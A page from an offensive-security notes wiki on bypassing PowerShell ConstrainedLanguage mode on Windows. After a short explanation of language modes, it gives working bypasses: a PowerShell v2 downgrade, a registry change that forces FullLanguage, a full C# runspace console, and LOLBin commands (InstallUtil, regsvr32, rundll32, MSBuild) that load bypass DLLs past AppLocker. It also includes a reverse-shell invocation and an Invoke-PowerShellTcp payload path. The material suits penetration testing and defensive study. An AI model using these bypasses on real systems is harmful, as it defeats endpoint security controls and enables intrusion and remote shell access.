InfoSec Notes
  • InfoSec Notes
  • General
    • External recon
    • Ports scan
    • Bind / reverse shells
    • File transfer / exfiltration
    • Pivoting
    • Passwords cracking
  • Active Directory
    • Recon - Domain Recon
    • Recon - AD scanners
    • Exploitation - NTLM capture and relay
    • Exploitation - Password spraying
    • Exploitation - Domain Controllers CVE
    • Exploitation - Kerberos AS_REP roasting
    • Exploitation - Credentials theft shuffling
    • Exploitation - GPP and shares searching
    • Exploitation - Kerberos Kerberoasting
    • Exploitation - ACL exploiting
    • Exploitation - GPO users rights
    • Exploitation - Active Directory Certificate Services
    • Exploitation - Kerberos tickets usage
    • Exploitation - Kerberos silver tickets
    • Exploitation - Kerberos delegations
    • Exploitation - gMS accounts (gMSAs)
    • Exploitation - Azure AD Connect
    • Exploitation - Operators to Domain Admins
    • Post Exploitation - ntds.dit dumping
    • Post Exploitation - Kerberos golden tickets
    • Post Exploitation - Trusts hopping
    • Post Exploitation - Persistence
  • L7
    • Methodology
    • 21 - FTP
    • 22 - SSH
    • 25 - SMTP
    • 53 - DNS
    • 111 / 2049 - NFS
    • 113 - Ident
    • 135 - MSRPC
    • 137-139 - NetBIOS
    • 161 - SNMP
    • 389 / 3268 - LDAP
    • 445 - SMB
    • 512 / 513 - REXEC / RLOGIN
    • 554 - RTSP
    • 1099 - JavaRMI
    • 1433 - MSSQL
    • 1521 - ORACLE_DB
    • 3128 - Proxy
    • 3306 - MySQL
    • 3389 - RDP
    • 5985 / 5986 - WSMan
    • 8000 - JDWP
    • 9100 - Printers
    • 11211 - memcached
    • 27017 / 27018 - MongoDB
  • Windows
    • Shellcode and PE loader
    • Bypass PowerShell ConstrainedLanguageMode
    • Bypass AppLocker
    • Local privilege escalation
    • Post exploitation
      • Credentials dumping
      • Defense evasion
      • Local persistence
    • Lateral movements
      • Local credentials re-use
      • Over SMB
      • Over WinRM
      • Over WMI
      • Over DCOM
      • CrackMapExec
  • Linux
    • Local privilege escalation
    • Post exploitation
  • DFIR
    • Common
      • Image acquisition and mounting
      • Memory forensics
      • Web logs analysis
      • Browsers forensics
      • Email forensics
      • Docker forensics
    • Windows
      • Artefacts overview
        • Amcache
        • EVTX
        • Jumplist
        • LNKFile
        • MFT
        • Outlook_files
        • Prefetch
        • RecentFilecache
        • RecycleBin
        • Shellbags
        • Shimcache
        • SRUM
        • Timestamps
        • User Access Logging (UAL)
        • UsnJrnl
        • Miscellaneous
      • TTPs analysis
        • Accounts usage
        • Local persistence
        • Lateral movement
        • PowerShell activity
        • Program execution
        • Timestomping
        • EVTX integrity
        • System uptime
        • ActiveDirectory replication metadata
        • ActiveDirectory persistence
    • Linux
      • Artefacts overview
      • TTPs analysis
        • Timestomping
    • Cloud
      • Azure
      • AWS
    • Tools
      • Velociraptor
      • KAPE
      • Dissect
      • plaso
      • Splunk usage
  • Red Team specifics
    • Phishing - Office Documents
    • OpSec Operating Systems environment
    • EDR bypass with EDRSandBlast
    • Cobalt Strike
  • Web applications
    • Recon - Server exposure
    • Recon - Hostnames discovery
    • Recon - Application mapping
    • Recon - Attack surface overview
    • CMS & softwares
      • ColdFusion
      • DotNetNuke
      • Jenkins
      • Jira
      • Ovidentia
      • WordPress
      • WebDAV
    • Exploitation - Overview
    • Exploitation - Authentication
    • Exploitation - LDAP injections
    • Exploitation - Local and remote file inclusions
    • Exploitation - File upload
    • Exploitation - SQL injections
      • SQLMAP.md
      • MSSQL.md
      • MySQL.md
      • SQLite.md
    • Exploitation - NoSQL injections
      • NoSQLMap.md
      • mongoDB.md
    • Exploitation - GraphQL
  • Binary exploitation
    • Linux - ELF64 ROP leaks
    • (Very) Basic reverse
  • Android
    • Basic static analysis
  • Miscellaneous
    • Regex 101
    • WinDbg Kernel
    • Basic coverage guided fuzzing
Powered by GitBook
On this page
  • Overview
  • PowerShell language mode retrieval
  • [Unprivileged] ConstrainedLanguage mode bypass using PowerShell downgrade
  • [Privileged] System-wide deactivation through removal of the associated registry key
  • [Unprivileged] ConstrainedLanguage mode bypass using PowerShell hosts
  • References
  1. Windows

Bypass PowerShell ConstrainedLanguageMode

PreviousShellcode and PE loaderNextBypass AppLocker

Last updated 3 years ago

Overview

As described in the , the language mode of a PowerShell session determines, in part, which elements of the PowerShell language can be used in the session.

The following four language modes are currently supported in PowerShell:

Language mode
Description

FullLanguage

No restriction imposed and allows all language elements. Default language mode.

RestrictedLanguage

All commands (cmdlets, functions, etc.) are allowed but the use of script blocks is not permitted.

NoLanguage

Can only be used through the API as no script text of any form is permitted.

ConstrainedLanguage Introduced in PowerShell version 3.0.

The PowerShell language mode can be defined in the __PSLockdownPolicy environment variable. The following registry key sets the aforementioned variable system-wide, resulting in the defined language mode to be enforced for all PowerShell sessions:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\__PSLockdownPolicy

AppLocker & PowerShell ConstrainedLanguage mode

Starting from PowerShell version 5.0, if a Windows AppLocker policy in Allow Mode (whitelisting) is applied to scripts, PowerShell will automatically start in ConstrainedLanguage mode. As per , this restriction applies to both interactive input and user-authored scripts.

PowerShell language mode retrieval

The following command retrieves the language mode of the current PowerShell session:

$ExecutionContext.SessionState.LanguageMode

Note that in sessions running in RestrictedLanguage or NoLanguage mode, the command will return an error, due to the fact that the dot method cannot be used to retrieve property values. The error message returned will however indicate the language mode of the session.

[Unprivileged] ConstrainedLanguage mode bypass using PowerShell downgrade

As the ConstrainedLanguage language mode was introduced in PowerShell version 3.0, executing PowerShell version 2.0 can be used to easily bypass the restriction:

# Starts an interactive PowerShell session.
powershell.exe -version 2

powershell.exe -version 2 -c '$ExecutionContext.SessionState.LanguageMode'

Note that downgrading PowerShell to circumvent language mode will not be doable on the Windows 10 operating system in a default configuration, as the underlying .NET Framework 2.0, required to run version 2.0 of PowerShell, is not installed.

[Privileged] System-wide deactivation through removal of the associated registry key

By default, members of the local built-in Administrators group can modify the __PSLockdownPolicy registry key, which governs the system-wide setting of the language mode environment variable.

A new PowerShell session must be started after the modification for the new environment variable value to be taken into account.

# Retrieves the ACL of the Environment registry key.

Get-Acl "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\" | Select-Object -ExpandProperty Access
# Sets the PowerShell language mode to "FullLanguage".
# FullLanguage = 8 & ConstrainedLanguage = 4.

Set-ItemProperty -Path "HKLM:\SYSTEM\CurrentControlSet\Control\Session Manager\Environment\" -name __PSLockdownPolicy -Value 8

[Unprivileged] ConstrainedLanguage mode bypass using PowerShell hosts

Standard binary

using System;
using System.Management.Automation;
using System.Management.Automation.Runspaces;
using System.Collections.ObjectModel;
using System.Text;

namespace PowerShellConstrainedLanguageBypass {
    public class Program {
        public static void Main(string[] args) {
            Runspace runspace = RunspaceFactory.CreateRunspace();
            runspace.Open();

            RunspaceInvoke runSpaceInvoker = new RunspaceInvoke(runspace);
            runSpaceInvoker.Invoke("Set-ExecutionPolicy -ExecutionPolicy Unrestricted -Scope Process");

            string cmd = "";
            do {
                Console.Write("PS > ");
                cmd = Console.ReadLine();

                if (!string.IsNullOrEmpty(cmd)) {

                    using (Pipeline pipeline = runspace.CreatePipeline()) {

                        try {
                            pipeline.Commands.AddScript(cmd);
                            pipeline.Commands.Add("Out-String");

                            Collection<PSObject> results = pipeline.Invoke();
                            StringBuilder stringBuilder = new StringBuilder();

                            foreach (PSObject obj in results) {
                                stringBuilder.AppendLine(obj.ToString());
                            }

                            Console.Write(stringBuilder.ToString());
                        }

                        catch (Exception ex) {
                            Console.WriteLine("{0}", ex.Message);
                        }
                    }
                }
            } while (cmd != "exit");
        }
    }
}

PSByPassCLM provides an already compiled binary in the project's GitHub repository:

# Starts an interactive PowerShell console.
PsBypassCLM.exe

# Attempts a reverse shell connection to the specified host. The remote host must be listening on the specified port.
PsBypassCLM.exe <HOSTNAME | IP> <PORT>

With AppLocker restricting executable usage

If Windows AppLocker is enabled, and a policy restrict the execution of binaries, AppLocker will have to be circumvented in order to bypass the PowerShell ConstrainedLanguage language mode. In its default configuration, AppLocker can be easily bypassed. Refer to the Windows - Bypass AppLocker note for more information on how to enumerate the defined rules and default-configuration bypass techniques.

If an hardened AppLocker configuration is implemented, the following tools leverage Windows built-in binaries, that may be allowed by the AppLocker rules defined in the targeted environment, to bypass the ConstrainedLanguage language mode. Windows built-in binaries are exploited to load a C# Dynamic Link Library (DLL) that uses the System.Management.Automation library to emulate an interactive PowerShell console unaffected by language mode (similarly to what is accomplished by the script above).

Tool
Exploited built-in binaries
Command

PSByPassCLM

InstallUtil.exe

x86 systems: C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U <PSBYPASSCLM_BINARY_FULL_PATH> x64 systems: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=true /U <PSBYPASSCLM_BINARY_FULL_PATH>

PowerShdll

rundll32 InstallUtil.exe Documented as supported but does not seem to work properly. regsvcs.exe regasm.exe Requires elevated privileges. regsvr32

rundll32: - Start an interactive console in a new windows: rundll32 <POWERSHDLL_PATH>,main - Execute the specified script: rundll32 <POWERSHDLL_PATH>,main -f <SCRIPT_PATH> regsvcs.exe: x86 systems: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regsvcs.exe <POWERSHDLL_PATH> x64 systems: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regsvcs.exe <POWERSHDLL_PATH> regasm.exe: x86 systems: C:\Windows\Microsoft.NET\Framework\v4.0.30319\regasm.exe <POWERSHDLL_PATH> x64 systems: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\regasm.exe <POWERSHDLL_PATH> regsvr32: regsvr32 /s /u <POWERSHDLL_PATH> (calls DllUnregisterServer). regsvr32 /s <POWERSHDLL_PATH> (calls DllRegisterServer).

PowerLessShell

MSBuild.exe

Generation of the csproj that will execute the specified PowerShell script (such as Invoke-PowerShellTcp): python2 PowerLessShell.py Set payload type [...]> powershell Path to the PowerShell script> <POWERSHELL_SCRIPT_TO_EXEC> Path for the generated MsBuild out file> <CSPROJ_OUTPUT> Execution using MSBuild: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\MSBuild <CSPROJ_FILE>


References

http://www.3nc0d3r.com/2016/12/pslockdownpolicy-and-ways-around-it.html https://github.com/p3nt4/PowerShdll https://s3cur3th1ssh1t.github.io/Playing-with-OffensiveNim/ https://decoder.cloud/2017/11/17/we-dont-need-powershell-exe-part-3/ https://github.com/padovah4ck/PSByPassCLM https://www.sysadmins.lv/blog-en/powershell-50-and-applocker-when-security-doesnt-mean-security.aspx https://github.com/stonepresto/CLMBypass

All cmdlets and PowerShell language elements are authorized, but it strongly limits the types allowed. For instance, the direct use of .NET methods (such as System.Net.Webclient), Win32 APIs, and COM objects are not permitted. Use of offensive PowerShell scripts is likely not directly possible in sessions running in this mode. For more information on the allowed types, the can be consulted.

As the language mode is only applied to powershell.exe / PowerShell ISE, creating a may be use to bypass the ConstrainedLanguage language mode. PowerShell commands can indeed be called in a different runspace in C# application using the System.Management.Automation library. The PowerShell commands called under this scenario will not be affected by the language mode defined on the system.

The following C# code snipped, adapted from , can be used to emulate an interactive PowerShell console in a runspace unaffected by language mode:

official Microsoft documentation
PowerShell ♥ the Blue Team
PowerShell host in a C# application
PSByPassCLM
Microsoft documentation